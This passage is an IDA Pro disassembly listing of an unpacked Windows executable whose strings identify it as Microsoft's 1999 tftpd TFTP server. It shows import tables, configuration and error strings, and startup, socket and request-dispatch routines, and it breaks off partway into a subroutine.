;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 5E74A7C1AA2E36040FF3E6439E3B3E8B
; File Name : u:\work\5e74a7c1aa2e36040ff3e6439e3b3e8b_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 1000000
; Section 1. (virtual address 00001000)
; Virtual size : 000033A1 ( 13217.)
; Section size in file : 000033A1 ( 13217.)
; Offset to raw data for section: 00001000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 1001000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_1001000 dd 77D882ACh dword_1001004 dd 77D82985h dword_1001008 dd 77D8858Eh dword_100100C dd 77D87D4Dh dword_1001010 dd 77D82C54h dword_1001014 dd 77D99694h ; sub_1001DEB+6Br ...
dd 0
dword_100101C dd 77E6B0BBh dword_1001020 dd 77E64CA6h dword_1001024 dd 77E6C37Ah dword_1001028 dd 77F877E0h dword_100102C dd 77E6C4E4h ; sub_1002F31+1C3r ...
dword_1001030 dd 77E5670Dh dword_1001034 dd 77E56F37h dword_1001038 dd 77E5668Ch ; sub_1001665:loc_1001762r ...
dword_100103C dd 77E58778h ; sub_1001A91+1ABr
dword_1001040 dd 77E5B217h ; sub_10018DB+B4r ...
dword_1001044 dd 77E58D0Fh ; sub_10019F0+14r ...
dword_1001048 dd 77E55304h dword_100104C dd 77F8AA7Dh ; sub_1001A91+B5r ...
dword_1001050 dd 77FC9C41h dword_1001054 dd 77E5A6C8h ; sub_1001E73+9Er ...
dword_1001058 dd 77F8AA4Ch ; sub_1001A91+4Er ...
dword_100105C dd 77E64A02h, 77E6E673h, 77FC976Bh, 77E6310Fh ; sub_1001A91+2C1r ...
dword_100106C dd 77E54B74h ; sub_100205A+4Er
dword_1001070 dd 77F89789h dword_1001074 dd 77E6CFC6h dd 0
dword_100107C dd 78001DEAh dword_1001080 dd 78003E70h dword_1001084 dd 7800B426h dword_1001088 dd 78014EE9h dword_100108C dd 78014DABh dword_1001090 dd 7801D884h dword_1001094 dd 78001000h ; sub_100205A+93r ...
dword_1001098 dd 78001EC9h dword_100109C dd 78012188h dword_10010A0 dd 780010EDh ; sub_1001F54+47r ...
dword_10010A4 dd 7802A875h ; sub_1001DEB+8r
dword_10010A8 dd 78017A09h dword_10010AC dd 7800C9ACh ; sub_10027E1+77r ...
dword_10010B0 dd 78017E4Bh, 78022AA9h ; sub_1001665+1DBr
dword_10010B8 dd 7802A38Bh ; sub_1001DEB+19r
dword_10010BC dd 78003C1Eh dword_10010C0 dd 7800F56Ah dword_10010C4 dd 78003E5Ah dword_10010C8 dd 78003E64h dword_10010CC dd 78003E6Ah dword_10010D0 dd 7803BB70h dword_10010D4 dd 78025147h dword_10010D8 dd 7800BB9Eh dword_10010DC dd 7800F7DCh, 7800B908h ; .text:01003B7Ar
dword_10010E4 dd 7801D1CFh ; sub_100333A+1B9r
dword_10010E8 dd 78014B25h dword_10010EC dd 7800269Eh ; sub_1001665+C0r ...
dd 0
dword_10010F4 dd 74FA1311h dword_10010F8 dd 74FA2B3Ch ; sub_1001A91+12Br ...
dword_10010FC dd 74FA4A6Ah dword_1001100 dd 74FA5502h dword_1001104 dd 74FA2B57h ; sub_100230A+Fr ...
dword_1001108 dd 74FAD027h dword_100110C dd 74FA2B57h ; sub_1002A3D+40r ...
; ---------------------------------------------------------------------------
locret_1001110: ; DATA XREF: sub_1001A91+10Fr
retf
; ---------------------------------------------------------------------------
db 0ACh, 0FAh, 74h
dword_1001114 dd 74FA125Ah dword_1001118 dd 74FA894Bh dword_100111C dd 74FA3284h ; sub_100205A+E7r ...
dword_1001120 dd 74FA5413h ; sub_1002F31+64r ...
dword_1001124 dd 74FA3A14h ; sub_1002F31+256r ...
dword_1001128 dd 74FA90C0h dword_100112C dd 74FA3832h ; sub_100333A+1EBr
dword_1001130 dd 74FA306Fh ; sub_1002A3D+65r ...
align 8
dword_1001138 dd 772F7866h dword_100113C dd 772F25A3h dd 0
dword_1001144 dd 77F82A70h dword_1001148 dd 77F8A557h dword_100114C dd 77FB6307h dword_1001150 dd 77F92A89h ; sub_100333A+95r
dword_1001154 dd 77F97C81h ; sub_1002B5E+114r ...
dword_1001158 dd 77F816E4h ; sub_1002A3D+FDr ...
dword_100115C dd 77F8F1D6h dword_1001160 dd 77F9431Dh ; sub_10023D8+F2r
dword_1001164 dd 77F936B1h dword_1001168 dd 77F912B1h ; sub_1002901+35r
dword_100116C dd 77F8F73Ch dword_1001170 dd 77F979C8h dword_1001174 dd 77F8D7C7h ; sub_10018DB+D6r
dword_1001178 dd 77F975A5h ; sub_1002F31+34Dr ...
dd 2 dup(0)
dd 37ECADD7h, 0
dd 4, 110h, 0
dd 4C00h, 0
dd 37ECADD7h, 0
dd 3, 310h, 0
dd 4D10h, 0
dd 37ECADD7h, 0
dd 6, 2 dup(0)
dd 5020h, 0
dd 37ECADD7h, 0
dd 2, 1Ah, 0
db 90h
db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
db ' 22:17:18',0Ah,0
aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo
; sub_10037BF+121o
align 4
aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o
; sub_10037BF+F1o
align 4
aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o
; sub_10037BF+C1o
aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
aClients db 'clients',0 ; DATA XREF: sub_1001570+95o
; sub_10037BF+8Eo
aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah
; DATA XREF: sub_1001570+8Do
db 0
align 4
aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
aDirectory db 'directory',0 ; DATA XREF: sub_1001570+7Fo
; sub_10037BF+5Co
align 4
aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
; DATA XREF: sub_1001570+76o
aSystemCurrentc db 'System\CurrentControlSet\Services\tftpd\parameters',0
; DATA XREF: sub_1001570+71o
; sub_10037BF+13o
align 10h
aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o
db 0Ah,0
align 4
aTftpd_log db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o
; sub_1001665+1D6o
align 4
aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
align 4
aTftpdroot db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o
; sub_1003910+1Eo
a? db '-?',0 ; DATA XREF: sub_1001570+10o
align 4
aA db 'a+',0 ; DATA XREF: sub_1001665+1D1o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_100205A+31o
align 10h
aUdp db 'udp',0 ; DATA XREF: sub_100205A+2Co
aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
align 10h
aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo
align 10h
aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
align 10h
aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
align 4
aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o
align 4
aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o
align 4
aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o
aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao
align 10h
aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o
aBlksize db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo
aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
; sub_100333A+201o ...
align 10h
aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
; sub_100333A+1A0o
align 4
aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
; sub_100333A+159o
aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o
; sub_100333A:loc_100341Fo
align 10h
aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo
; sub_100333A:loc_10033E1o
align 4
asc_100155C: ; DATA XREF: sub_1003910+7Fo
unicode 0, <\>,0
dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B R O U T I N E =======================================
sub_1001570 proc near ; CODE XREF: .text:01003B4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 1
push esi
jle loc_1001646
mov eax, [esp+4+arg_4]
mov esi, offset a? ; "-?"
mov eax, [eax+4]
loc_1001588: ; CODE XREF: sub_1001570+34j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_10015AA
test cl, cl
jz short loc_10015A6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_10015AA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_1001588
loc_10015A6: ; CODE XREF: sub_1001570+22j
xor eax, eax
jmp short loc_10015AF
; ---------------------------------------------------------------------------
loc_10015AA: ; CODE XREF: sub_1001570+1Ej
; sub_1001570+2Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_10015AF: ; CODE XREF: sub_1001570+38j
test eax, eax
jnz loc_1001646
mov esi, ds:dword_10010D4
push offset asc_1005010 ; " ======================================"...
call esi ; dword_10010D4
pop ecx
push offset aTftpdroot ; "\\tftpdroot\\"
push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aTftpd_log ; "tftpd.log"
push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aDirectory ; "directory"
push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"...
call esi ; dword_10010D4
pop ecx
push offset aClients ; "clients"
push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aMasters ; "masters"
push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aReadable ; "readable"
push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aWritable ; "writable"
push offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push 0FFFFFFFFh
call ds:dword_10010EC
pop ecx
loc_1001646: ; CODE XREF: sub_1001570+6j
; sub_1001570+41j
push offset off_1005CB0
call ds:dword_1001004
test eax, eax
jnz short loc_100165B
call ds:dword_1001038
loc_100165B: ; CODE XREF: sub_1001570+E3j
push 0
call ds:dword_100101C
pop esi
retn
sub_1001570 endp
; =============== S U B R O U T I N E =======================================
sub_1001665 proc near ; DATA XREF: .data:01005CB4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push offset sub_1001DEB
push offset aTftpd ; "Tftpd"
mov dword_1006120, 30h
mov dword_1006124, 2
mov dword_1006128, ebp
mov dword_1006134, 1
mov dword_1006138, 4E20h
mov dword_100612C, ebp
mov dword_1006130, ebp
call ds:dword_1001010
cmp eax, ebp
mov dword_1006044, eax
jz loc_1001762
mov esi, ds:dword_1001014
mov edi, offset dword_1006120
push edi
push eax
call esi ; dword_1001014
cmp eax, ebp
jz loc_1001762
mov ebx, ds:dword_1001040
push ebp
push ebp
push ebp
push ebp
call ebx ; dword_1001040
push ebp
push ebp
push ebp
push ebp
mov dword_1005DDC, eax
call ebx ; dword_1001040
cmp dword_1005DDC, ebp
mov dword_1005DE0, eax
jz short loc_100171C
cmp eax, ebp
jz short loc_100171C
push offset dword_1006140
push 101h
call ds:dword_10010FC
cmp eax, 0FFFFFFFFh
jnz short loc_1001735
call ds:dword_10010F8
loc_100171C: ; CODE XREF: sub_1001665+96j
; sub_1001665+9Aj ...
push 1Fh
call sub_1001E73
push 1
call ds:dword_10010EC
pop ecx
loc_100172C: ; CODE XREF: sub_1001665+218j
; sub_1001665+224j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_1001735: ; CODE XREF: sub_1001665+AFj
push edi
mov dword_1006124, 4
push dword_1006044
mov dword_1006128, 7
mov dword_1006134, ebp
mov dword_1006138, ebp
call esi ; dword_1001014
cmp eax, ebp
jnz short loc_100176A
loc_1001762: ; CODE XREF: sub_1001665+57j
; sub_1001665+6Ej
call ds:dword_1001038
jmp short loc_100171C
; ---------------------------------------------------------------------------
loc_100176A: ; CODE XREF: sub_1001665+FBj
push 9
pop ecx
xor eax, eax
mov edx, offset dword_10060C0
mov edi, edx
rep stosd
push edx
call ds:dword_10010A4
pop ecx
mov edx, [esp+10h+arg_0]
dec edx
mov ebx, (offset dword_1005E07+1)
jz short loc_10017F3
mov eax, [esp+10h+arg_4]
lea eax, [eax+edx*4]
mov [esp+10h+arg_0], eax
loc_1001797: ; CODE XREF: sub_1001665+18Cj
mov eax, [esp+10h+arg_0]
mov eax, [eax]
cmp byte ptr [eax], 2Dh
jnz short loc_10017F3
movsx ecx, byte ptr [eax+1]
sub ecx, 64h
jz short loc_10017C9
dec ecx
jz short loc_10017BD
dec ecx
jnz short loc_10017E9
mov dword_1005DD8, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017BD: ; CODE XREF: sub_1001665+147j
mov dword_1005DD4, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017C9: ; CODE XREF: sub_1001665+144j
lea edi, [eax+2]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_10017E9: ; CODE XREF: sub_1001665+14Aj
; sub_1001665+156j ...
sub [esp+10h+arg_0], 4
dec edx
cmp edx, ebp
ja short loc_1001797
loc_10017F3: ; CODE XREF: sub_1001665+125j
; sub_1001665+13Bj
call sub_10037BF
call sub_1003910
mov esi, ds:dword_10010A8
push ebx
call esi ; dword_10010A8
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_100182E
call ds:dword_10010AC
push ebx
call ds:dword_10010B0
cmp eax, ebp
pop ecx
jnz loc_100171C
push ebx
call esi ; dword_10010A8
cmp eax, ebp
pop ecx
jnz loc_100171C
loc_100182E: ; CODE XREF: sub_1001665+1A5j
cmp dword_1005DD8, ebp
jz short loc_1001857
push offset aA ; "a+"
push offset aTftpd_log ; "tftpd.log"
call ds:dword_10010B0+4
pop ecx
cmp eax, ebp
pop ecx
mov dword_1005DD0, eax
jnz short loc_1001857
mov dword_1005DD8, ebp
loc_1001857: ; CODE XREF: sub_1001665+1CFj
; sub_1001665+1EAj
push offset dword_10060C0
call ds:dword_10010B8
pop ecx
call sub_10018DB
call sub_10019F0
push 0FFFFFFFFh
push dword_1005DDC
call ds:dword_100103C
cmp eax, ebp
jz loc_100172C
call ds:dword_1001038
jmp loc_100172C
sub_1001665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100188E proc near ; CODE XREF: sub_100205A+D5p
; sub_1002F31+2A8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push 3
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_1001100
test eax, eax
jz short loc_10018AE
call ds:dword_1001038
xor eax, eax
jmp short locret_10018D7
; ---------------------------------------------------------------------------
loc_10018AE: ; CODE XREF: sub_100188E+14j
test [ebp+arg_8], 1
push 0
push 0FFFFFFFFh
push [ebp+arg_0]
jz short loc_10018C2
push offset loc_1001D74
jmp short loc_10018C7
; ---------------------------------------------------------------------------
loc_10018C2: ; CODE XREF: sub_100188E+2Bj
push offset loc_1001DDB
loc_10018C7: ; CODE XREF: sub_100188E+32j
push [ebp+arg_4]
lea eax, [ebp+var_4]
push eax
call ds:dword_1001174
mov eax, [ebp+var_4]
locret_10018D7: ; CODE XREF: sub_100188E+1Ej
leave
retn 0Ch
sub_100188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ds:dword_1001044
push edi
push offset dword_1006080
call esi ; dword_1001044
push offset dword_1006020
call esi ; dword_1001044
mov eax, offset dword_1006098
mov dword_100609C, eax
mov dword_1006098, eax
mov eax, offset dword_1006038
mov dword_100603C, eax
mov dword_1006038, eax
lea eax, [ebp+var_4]
push eax
call sub_1001FA6
xor esi, esi
test eax, eax
jnz short loc_1001957
mov eax, [ebp+var_4]
xor ebx, ebx
cmp [eax], esi
jbe short loc_100194F
xor edi, edi
loc_100192E: ; CODE XREF: sub_10018DB+72j
mov ecx, [eax+edi+4]
cmp ecx, esi
jz short loc_1001947
cmp ecx, 100007Fh
jz short loc_1001947
push ecx
call sub_100205A
mov eax, [ebp+var_4]
loc_1001947: ; CODE XREF: sub_10018DB+59j
; sub_10018DB+61j
inc ebx
add edi, 18h
cmp ebx, [eax]
jb short loc_100192E
loc_100194F: ; CODE XREF: sub_10018DB+4Fj
push eax
call ds:dword_10010A0
pop ecx
loc_1001957: ; CODE XREF: sub_10018DB+46j
push offset dword_10060A0
call ds:dword_1001170
cmp eax, esi
jnz loc_10019EB
mov eax, 0EA60h
push esi
push eax
push eax
push esi
push offset sub_10029BA
push offset dword_1006048
push dword_10060A0
call ds:dword_1001178
push esi
push esi
push esi
push esi
mov edi, eax
call ds:dword_1001040
cmp eax, esi
mov dword_1005DF8, eax
jnz short loc_10019A2
mov eax, edi
jmp short loc_10019EB
; ---------------------------------------------------------------------------
loc_10019A2: ; CODE XREF: sub_10018DB+C1j
push esi
push 0FFFFFFFFh
push esi
push offset sub_1002219
push eax
push offset dword_1005DFC
call ds:dword_1001174
cmp eax, esi
jnz short loc_10019EB
mov ecx, offset dword_1006100
xor eax, eax
mov edi, ecx
push ecx
stosd
stosd
stosd
stosd
stosd
mov eax, dword_1005DF8
push offset dword_1005E00
mov dword_1006110, eax
call sub_1003A44
cmp eax, esi
jz short loc_10019E9
cmp eax, 3E5h
jnz short loc_10019EB
loc_10019E9: ; CODE XREF: sub_10018DB+105j
xor eax, eax
loc_10019EB: ; CODE XREF: sub_10018DB+89j
; sub_10018DB+C5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_10018DB endp
; =============== S U B R O U T I N E =======================================
sub_10019F0 proc near ; CODE XREF: sub_1001665+203p
mov eax, offset dword_1006078
push offset dword_1006060
mov dword_100607C, eax
mov dword_1006078, eax
call ds:dword_1001044
push 0
push 0EFD1Ch
push 0
call ds:dword_1001048
mov dword_1005DEC, eax
retn
sub_10019F0 endp
; =============== S U B R O U T I N E =======================================
sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p
push ebx
push esi
mov ebx, offset dword_1006060
push edi
push ebx
xor esi, esi
call ds:dword_1001058
mov eax, dword_1005DF0
sub eax, dword_1005DF4
cmp eax, 0Ah
jbe short loc_1001A46
shr eax, 1
mov esi, eax
jmp short loc_1001A4E
; ---------------------------------------------------------------------------
loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj
cmp eax, 3
jbe short loc_1001A4E
push 2
pop esi
loc_1001A4E: ; CODE XREF: sub_1001A1F+25j
; sub_1001A1F+2Aj
test esi, esi
jbe short loc_1001A86
mov edi, esi
loc_1001A54: ; CODE XREF: sub_1001A1F+65j
mov eax, dword_1006078
mov esi, eax
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h]
call ds:dword_1001054
push esi
push 0
push dword_1005DEC
call ds:dword_1001050
dec dword_1005DF0
dec edi
jnz short loc_1001A54
loc_1001A86: ; CODE XREF: sub_1001A1F+31j
push ebx
call ds:dword_100104C
pop edi
pop esi
pop ebx
retn
sub_1001A1F endp
; =============== S U B R O U T I N E =======================================
sub_1001A91 proc near ; CODE XREF: .text:01001DCCp
; .text:01001DE1p
var_68 = byte ptr -68h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = byte ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_10 = byte ptr 14h
arg_FF9C = dword ptr 0FFA0h
arg_FFA0 = dword ptr 0FFA4h
arg_FFA4 = dword ptr 0FFA8h
arg_FFA8 = dword ptr 0FFACh
arg_FFD4 = dword ptr 0FFD8h
arg_FFD8 = dword ptr 0FFDCh
arg_10004 = dword ptr 10008h
mov eax, 10004h
call sub_1003A3E
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov [esp+10h], ebp
mov ebx, offset dword_1006060
loc_1001AAA: ; CODE XREF: sub_1001A91+291j
lea eax, [esp+10h+arg_0]
push eax
push 4004667Fh
push [esp+18h+arg_10004]
call ds:dword_1001114
cmp eax, ebp
jnz loc_1001D27
cmp [esp+1Ch+var_8], ebp
jz loc_1001D65
xor eax, eax
lea edi, [esp+1Ch+arg_10]
stosd
stosd
stosd
stosd
push ebx
stosd
call ds:dword_1001058
mov eax, dword_1006078
inc dword_1005DF4
cmp eax, offset dword_1006078
jz short loc_1001B11
mov ecx, [eax]
mov esi, eax
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h]
call ds:dword_100105C+0Ch
mov eax, [esi+30h]
jmp short loc_1001B41
; ---------------------------------------------------------------------------
loc_1001B11: ; CODE XREF: sub_1001A91+64j
inc dword_1005DF0
push 2FF6Ch
push 8
push dword_1005DEC
call ds:dword_100105C+8
mov esi, eax
cmp esi, ebp
jz loc_1001D5E
push ebp
push ebp
push ebp
push ebp
call ds:dword_1001040
mov [esi+30h], eax
loc_1001B41: ; CODE XREF: sub_1001A91+7Ej
push ebx
mov [esp+40h+arg_0], eax
call ds:dword_100104C
lea ebp, [esi+34h]
mov ecx, 3FEFh
xor eax, eax
mov edi, ebp
rep stosd
stosb
mov eax, [esp+40h+arg_FFD8]
mov [esp+40h+var_1C], ebp
mov [esp+40h+var_20], 0FFBDh
mov [esp+40h+var_28], 10h
mov [esi+1Ch], eax
lea eax, [esp+40h+var_10]
push 0
push eax
lea eax, [esp+48h+var_28]
lea edi, [esi+2Ch]
push eax
lea eax, [esi+0Ch]
push eax
lea eax, [esp+50h+var_30]
push eax
push edi
lea eax, [esp+58h+var_20]
push 1
push eax
push [esp+60h+arg_FFD4]
call dword ptr ds:locret_1001110
mov [esp+64h+var_48], eax
mov ax, [esi+0Eh]
push eax
call ds:dword_100110C
cmp [esp+68h+var_4C], 0
jz short loc_1001C34
call ds:dword_10010F8
cmp eax, 3E5h
jnz loc_1001D2F
mov eax, dword_1005DDC
push 0FFFFFFFFh
mov [esp+6Ch+var_40], eax
mov eax, [esp+6Ch+var_28]
mov [esp+6Ch+var_3C], eax
lea eax, [esp+6Ch+var_40]
push 0
push eax
push 2
call ds:dword_100105C+4
cmp eax, 0FFFFFFFFh
jz loc_1001D2F
cmp eax, 102h
jz loc_1001D2F
test eax, eax
jz loc_1001D2F
lea eax, [esp+78h+var_68]
push eax
push 0
lea eax, [esp+80h+var_48]
push edi
push eax
push [esp+88h+arg_FF9C]
call ds:dword_1001108
test eax, eax
jnz short loc_1001C34
call ds:dword_10010F8
jmp loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C34: ; CODE XREF: sub_1001A91+129j
; sub_1001A91+196j
push 0
push dword_1005DDC
call ds:dword_100103C
test eax, eax
jz loc_1001D2F
cmp dword ptr [edi], 2
jl loc_1001CEA
xor edi, edi
cmp [esp+70h+arg_FFA8], edi
jz short loc_1001CDA
mov ax, [ebp+0]
push eax
call ds:dword_1001104
movzx ecx, ax
test ecx, ecx
jle short loc_1001CB8
cmp ecx, 2
jle short loc_1001C81
cmp ecx, 4
jz short loc_1001CB8
cmp ecx, 5
jnz short loc_1001CB8
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C81: ; CODE XREF: sub_1001A91+1E2j
cmp ax, 1
jnz short loc_1001C94
inc dword_10060C4
mov edi, offset sub_1002F31
jmp short loc_1001CA5
; ---------------------------------------------------------------------------
loc_1001C94: ; CODE XREF: sub_1001A91+1F4j
cmp ax, 2
jnz short loc_1001CA5
inc dword_10060C8
mov edi, offset sub_100333A
loc_1001CA5: ; CODE XREF: sub_1001A91+201j
; sub_1001A91+207j
mov eax, [esp+74h+arg_FFA0]
test edi, edi
mov [esi+8], eax
jz short loc_1001CEA
push esi
call edi ; sub_1002F31
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj
; sub_1001A91+1E7j ...
push 0
push 4
push [esp+7Ch+arg_FFA0]
inc dword_10060CC
lea eax, [esp+80h+var_20]
push eax
lea eax, [esp+84h+var_30]
push eax
call sub_100230A
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj
mov eax, [esp+70h+arg_FFA4]
push esi
mov [esi+8], eax
call sub_1002EC8
loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej
; sub_1001A91+1BCj ...
push ebx
call ds:dword_1001058
mov eax, dword_1006078
mov dword ptr [esi+4], offset dword_1006078
mov [esi], eax
push offset dword_1005DE8
mov [eax+4], esi
mov dword_1006078, esi
call ds:dword_100105C
dec dword_1005DF4
push ebx
call ds:dword_100104C
xor ebp, ebp
jmp loc_1001AAA
; ---------------------------------------------------------------------------
loc_1001D27: ; CODE XREF: sub_1001A91+32j
call ds:dword_10010F8
jmp short loc_1001D65
; ---------------------------------------------------------------------------
loc_1001D2F: ; CODE XREF: sub_1001A91+136j
; sub_1001A91+161j ...
push ebx
call ds:dword_1001058
mov eax, dword_1006078
mov dword ptr [esi+4], offset dword_1006078
mov [esi], eax
push offset dword_1005DE8
mov [eax+4], esi
mov dword_1006078, esi
call ds:dword_100105C
dec dword_1005DF4
loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj
push ebx
call ds:dword_100104C
loc_1001D65: ; CODE XREF: sub_1001A91+3Cj
; sub_1001A91+29Cj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10004h
retn 8
sub_1001A91 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_1001D74: ; DATA XREF: sub_100188E+2Do
push ecx
push ebx
push ebp
push esi
mov esi, offset dword_1006020
push edi
mov edi, ds:dword_1001070
push esi
xor ebp, ebp
xor ebx, ebx
call edi ; dword_1001070
loc_1001D8B: ; CODE XREF: .text:01001DA1j
test eax, eax
jnz short loc_1001DA7
push 0C8h
call ds:dword_100106C
push esi
call edi ; dword_1001070
inc ebx
cmp ebx, 7Dh
jb short loc_1001D8B
test eax, eax
jz short loc_1001DD1
loc_1001DA7: ; CODE XREF: .text:01001D8Dj
lea eax, [esp+10h]
push eax
push dword ptr [esp+1Ch]
call sub_10021E5
test eax, eax
jnz short loc_1001DC0
mov eax, [esp+10h]
mov ebp, [eax+0Ch]
loc_1001DC0: ; CODE XREF: .text:01001DB7j
push esi
call ds:dword_100104C
push ebp
push dword ptr [esp+1Ch]
call sub_1001A91
loc_1001DD1: ; CODE XREF: .text:01001DA5j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o
push 0
push dword ptr [esp+8]
call sub_1001A91
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001DEB proc near ; DATA XREF: sub_1001665+6o
var_4 = byte ptr -4
